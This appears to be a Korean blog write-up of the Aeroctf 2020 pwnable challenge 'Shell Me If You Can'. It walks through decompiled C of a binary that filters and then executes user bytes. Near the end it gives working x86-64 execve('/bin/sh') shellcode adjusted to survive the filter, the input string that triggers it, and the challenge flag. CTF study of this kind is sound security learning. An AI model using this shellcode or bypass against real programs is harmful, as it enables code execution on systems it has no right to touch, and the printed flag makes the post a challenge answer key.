일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- House of Orange
- DFS
- 브루트 포스
- 스택
- 다이나믹 프로그래밍
- 스위핑 알고리즘
- 이진 탐색
- 분할 정복
- 동적 계획법
- syscall
- heap
- 투 포인터
- fsb
- 문자열 처리
- 이분 탐색
- 수학
- tcache
- ROP
- 큐
- 이진트리
- 연결리스트
- BOF
- off by one
- OOB
- 에라토스테네스의 체
- 백트래킹
- RTL
- 포맷스트링버그
- BFS
- 완전 탐색
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
Aeroctf 2020 - Shell Me If You Can 본문
보호기법은 다음과 같다.
문제 자체는 몇몇 조건을 우회해서 쉘코드를 실행시키기만 하면 된다.
바이너리를 까보면
main 함수 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_BYTE *v3; // rsi
char *s; // [rsp+30h] [rbp-20h]
void *dest; // [rsp+48h] [rbp-8h]
sub_170F();
dest = (void *)sub_1695(128LL);
v3 = calloc(0x80uLL, 1uLL);
read(0, v3, 0x80uLL);
byte_4088 = v3[127];
sub_164C(v3);
memcpy(dest, v3, 0x80uLL);
write(1, &unk_2021, 4uLL);
fflush(stdout);
fflush(stdin);
s = (char *)calloc(0x80uLL, 1uLL);
s[(int)read(0, s, 0x80uLL) - 1] = 0;
if ( strlen(s) > 0xB )
sub_1355(dest, s, 128LL);
else
sub_1355(dest, "R97S12-18L40C30", 128LL);
if ( (unsigned int)sub_16E3(dest, 128LL) )
exit(-1);
return 0LL;
}
|
main가 작동하는 흐름을 간단히 정리하면 다음과 같다.
v3에 0x80만큼 할당하고 sub_164C함수를 거친 뒤 dest에 옮긴다.
s에 0x80만큼 할당하고 입력을 받는다.
s의 길이가 0xB보다 큰 경우 : sub_1355(dest, s, 128LL) 호출
s의 길니가 0xB보다 작거나 같은 경우 : sub_1355(dest, "R97S12-18L40C30", 128LL) 호출
v3를 dest에 옮기기 전 sub_164C 함수를 거치는데 분석해보자.
sub_164C 함수 분석
1
|
byte_4088 = buf[127];
|
1
2
3
4
5
6
7
8
9
10
11
12
|
_BYTE *__fastcall sub_164C(__int64 a1)
{
_BYTE *result; // rax
int i; // [rsp+14h] [rbp-4h]
for ( i = 0; i <= 127; ++i )
{
result = (_BYTE *)(i + a1);
*result ^= byte_4088;
}
return result;
}
|
main에서 byte_4088에 buf[127]의 값을 넣고, sub_164C()함수에서 인자로 넘어온 배열을 전부 xor시킨다.
즉 처음 값을 넣은 v3의 값을 v3[127]로 xor시킨다.
이렇게 해서 나온 값이 dest에 들어가게 된다.
sub_1355함수를 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
|
__int64 __fastcall sub_1355(__int64 a1, const char *a2, int a3)
{
int v4; // [rsp+Ch] [rbp-64h]
char v5[2]; // [rsp+21h] [rbp-4Fh]
char v6; // [rsp+23h] [rbp-4Dh]
char v7[2]; // [rsp+24h] [rbp-4Ch]
char v8; // [rsp+26h] [rbp-4Ah]
char v9[2]; // [rsp+27h] [rbp-49h]
char v10; // [rsp+29h] [rbp-47h]
char v11[2]; // [rsp+2Ah] [rbp-46h]
char v12; // [rsp+2Ch] [rbp-44h]
char nptr[2]; // [rsp+2Dh] [rbp-43h]
char v14; // [rsp+2Fh] [rbp-41h]
__int64 (*v15)(void); // [rsp+30h] [rbp-40h]
int v16; // [rsp+3Ch] [rbp-34h]
int v17; // [rsp+40h] [rbp-30h]
int v18; // [rsp+44h] [rbp-2Ch]
int v19; // [rsp+48h] [rbp-28h]
int status; // [rsp+4Ch] [rbp-24h]
char *v21; // [rsp+50h] [rbp-20h]
__int64 v22; // [rsp+58h] [rbp-18h]
int k; // [rsp+64h] [rbp-Ch]
int j; // [rsp+68h] [rbp-8h]
int i; // [rsp+6Ch] [rbp-4h]
v4 = a3;
v22 = a1;
v21 = strchr(a2, 82);
if ( !v21 )
exit(-1);
*(_WORD *)nptr = *(_WORD *)(v21 + 1);
v14 = 0;
status = 0;
status = atoi(nptr);
if ( !status || status <= 7 )
exit(status);
for ( i = 0; i < v4; ++i )
{
if ( *(_BYTE *)(i + v22) <= (unsigned __int8)status )
*(_BYTE *)(i + v22) = -112;
}
v21 = 0LL;
v21 = strchr(a2, 83);
if ( !v21 )
exit(-1);
*(_WORD *)v11 = *(_WORD *)(v21 + 1);
*(_WORD *)v9 = *((_WORD *)v21 + 2);
v12 = 0;
v10 = 0;
v19 = 0;
v18 = 0;
v19 = atoi(v11);
v18 = atoi(v9);
if ( !v19 || !v18 || v19 == v18 || v19 == 144 || v18 == 144 )
exit(v19 + v18);
if ( v19 > 127 || v18 > 127 )
exit(v18 * v19);
for ( j = 0; j < v4; ++j )
{
if ( *(_BYTE *)(j + v22) == (_BYTE)v19 )
*(_BYTE *)(j + v22) = v18;
}
v21 = 0LL;
v21 = strchr(a2, 76);
if ( !v21 )
exit(-1);
*(_WORD *)v7 = *(_WORD *)(v21 + 1);
v8 = 0;
v17 = 0;
v17 = atoi(v7);
if ( v17 > 128 || !v17 )
exit(v17);
for ( k = 0; k < v4; ++k )
{
if ( k > v17 )
*(_BYTE *)(k + v22) = -112;
}
v21 = 0LL;
v21 = strchr(a2, 67);
if ( !v21 )
exit(-1);
*(_WORD *)v5 = *(_WORD *)(v21 + 1);
v6 = 0;
v16 = 0;
v16 = atoi(v5);
if ( !v16 || v16 > v17 )
exit(v16);
v15 = (__int64 (*)(void))(v16 + a1);
return v15();
}
|
좀 길다.
시간을 들여서 분석을 해보면 대충 다음과 같은 함수라는 것을 알 수 있다.
1. 문자열 s에는 필수적으로 'R', 'S', 'L', 'C' 문자가 들어가야 한다.
각 문자마다 조건들이 있는데 그 부분을 분석해서 적어보면
R
문자열 s에서 R 다음에 있는 문자를 Rx라 할 때,
7 < atoi(Rx) 를 만족해야한다.
만족할 경우, 문자열 dest에서 atoi(Rx)보다 작은 값을 전부 0x90( nop )으로 바꾼다.
S
문자열 s에서 S 다음에 있는 문자와 그 다음에 있는 문자를 각각 Rx, Ry라 할 때,
atoi(Rx) != atoi(Ry)
atoi(Rx) != 0 && atoi(Ry) != 0
atoi(Rx) != 0x90 && atoi(Ry) != 0x90
을 만족해야한다.
만족할 경우, 문자열 dest에서 atoi(Rx)와 같은 값이 있을 경우 atoi(Ry)로 바꾼다.
L
문자열 s에서 L 다음에 있는 문자를 Lx라 할 때,
0 < atoi(Lx) <= 128
를 만족해야한다.
만족할 경우, 문자열 dest에서 atoi(Lx)번째부터 0x80번째까지 0x90( nop )으로 바꾼다.
C
문자열 s에서 C 다음에 있는 문자를 Cx라 할 때,
0 < atoi(Cx) <= atoi(Lx)
를 만족해야한다.
만족할 경우, 문자열 dest를 실행시킨다.
우회하는 방법은 여러가지가 있을 수 있겠지만..
나는
"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" 쉘코드를 썼고,
R문자를 S보다 먼저 체크하는 것을 이용하여 우회하기로 생각했다.
Rx( min : 8 ) 이하를 nop으로 바꾸기 때문에 마지막 \x05를 8보다 큰 어떤 값 X로 바꾸고
Sx에 X를 주고 Sy에 \x05를 주어서
쉘코드를 다시 원래대로 돌리는 방법을 택했다.
C가 0이면 안되서 1을 주고 쉘코드 맨 앞에 nop을 하나 주었다.
따라서 최종 완성된 쉘코드와 문자열 s는 다음과 같다.
shellcode : "\x90\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x22"
s : "R8S34+5L99C1"
FLAG : Aero{dad088ac762b071665d321c2aa22c5f84f66dca4e8865da998666d15b3ca0e0a}
'write-up > pwnable' 카테고리의 다른 글
utctf 2020 - zurk (0) | 2020.03.09 |
---|---|
utctf 2020 - bof (0) | 2020.03.09 |
facebook ctf 2019 - overfloat (0) | 2020.02.07 |
facebook ctf 2019 - rank (0) | 2020.02.06 |
Defcon Qualifier 2019 - speedrun-009 (0) | 2020.02.05 |